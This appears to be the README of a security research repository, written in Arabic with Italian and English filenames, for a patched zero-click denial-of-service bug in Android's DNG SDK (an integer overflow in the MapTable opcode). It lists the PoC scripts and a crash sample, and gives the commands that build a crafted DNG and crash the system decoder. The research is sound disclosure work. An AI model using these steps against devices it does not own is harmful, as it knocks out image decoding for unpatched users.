
PoC وتحليل لثغرة رفض الخدمة (DoS) بدون نقرة في حزمة DNG SDK لنظام أندرويد، مع عيّنات DNG معدّة خصيصًا، وأداة اختبار انهيار NDK، وإعادة إنتاج تجاوز MapTable باستخدام UBSan/IntSan.
مادة بحثية كاملة مع كود إثبات المفهوم (PoC). التحليل السردي: 🇮🇹 BLOG.md · 🇬🇧 BLOG.en.md.
fAreaSpec.Plane() + fAreaSpec.Planes()
في dng_opcode_MapTable::ProcessArea (dng_sdk/source/dng_misc_opcodes.cpp:388).libdng_sdk.so
يحوّل التجاوز إلى abort() → SIGABRT في العملية التي تفكّك ترميز DNG.2026-04-01, A-456471290). إصلاحان:
تصحيح حسابي في dng_sdk (أُعيدت كتابة + كـ -) + قائمة MIME المسموح بها في
LocalImageResolver.java ترفض ملفات DNG (§14).وتفصّل المقالة أيضًا: المسار الكامل لتوليد PoC (§6)، ولماذا استُخدمت أداة NDK (harness) (§7)، والفرق بين خيارات UBSan/IntSan -fsanitize=undefined مقابل =integer، ووضع recover/no-recover/trap، ووقت التشغيل (runtime) الكامل مقابل المصغّر (§10)، وIntSan مقابل SafeInt مقابل MTE (§11).
CVE-2026-0049/
├── BLOG.md articolo completo — italiano (17 sezioni)
├── BLOG.en.md full article — English (17 sections)
├── poc/
│ ├── inject_opcode.py [PRINCIPALE] inietta OpcodeList2/MapTable in un DNG valido
│ ├── gen_base_dng.py genera il DNG Bayer valido di base (richiede pidng)
│ ├── make_dng.py generatore stand-alone (DNG minimale + opcode)
│ └── make_poc_dng.py primo generatore from-scratch (LinearRaw minimale)
├── harness/
│ ├── decode_poc.c harness NDK AImageDecoder (crash on-device)
│ └── dng_xmp_stub.cpp stub XMP per compilare dng_validate su PC
├── samples/
│ ├── valid_poc.dng PoC funzionante (fa crashare il decoder di sistema)
│ ├── base_benign.dng controllo benigno (decodifica senza crash)
│ └── poc_minimal.dng variante minimale from-scratch
└── evidence/
├── crash_backtrace.txt tombstone reale dal Pixel 9
└── device_analysis.md analisi binaria libdng_sdk.so + IntSan/SafeInt/MTE
pip install pidng
python3 poc/gen_base_dng.py base # -> base.dng (Bayer valido)
python3 poc/inject_opcode.py base.dng valid_poc.dng poc
# oppure usa direttamente samples/valid_poc.dng
تفصيل بالغ الأهمية: يجب أن تكون AreaSpec غير فارغة (0,0,H,W)؛ فمع منطقة فارغة تقوم dng_sdk في Android بإنهاء التنفيذ مبكرًا (short-circuit) وتعود عملية فك الترميز بخطأ دون انهيار (انظر §6.6 من BLOG.md). ولماذا يلزم DNG صالح بالكامل وليس نسخة أدنى (minimal): SkRawCodec (وحدة فك الترميز الخاصة بالنظام) أكثر صرامةً من Glide/Photos ويرفض ملفات DNG التي تفتقر إلى بيانات وصفية كاملة للألوان (§2، §6.1).
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang \
-O0 -o decode_poc harness/decode_poc.c -ljnigraphics
adb push decode_poc valid_poc.dng /data/local/tmp/ # NB: /data/local/tmp, NON /sdcard (FUSE)
adb shell /data/local/tmp/decode_poc /data/local/tmp/valid_poc.dng
# -> Abort message: 'ubsan: add-overflow' ; SIGABRT in dng_opcode_MapTable::ProcessArea
قم بترجمة مصادر dng_sdk مع تطبيق -fsanitize=integer -fno-sanitize-recover فقط على dng_misc_opcodes.cpp (استخدم harness/dng_xmp_stub.cpp للربط بدون XMP SDK). ثم:
./dng_validate samples/valid_poc.dng
# dng_misc_opcodes.cpp:388:32: runtime error: unsigned integer overflow: 4294967040 + 512
لأغراض البحث والتعليم فقط. تم الاختبار حصريًا على أجهزة مملوكة.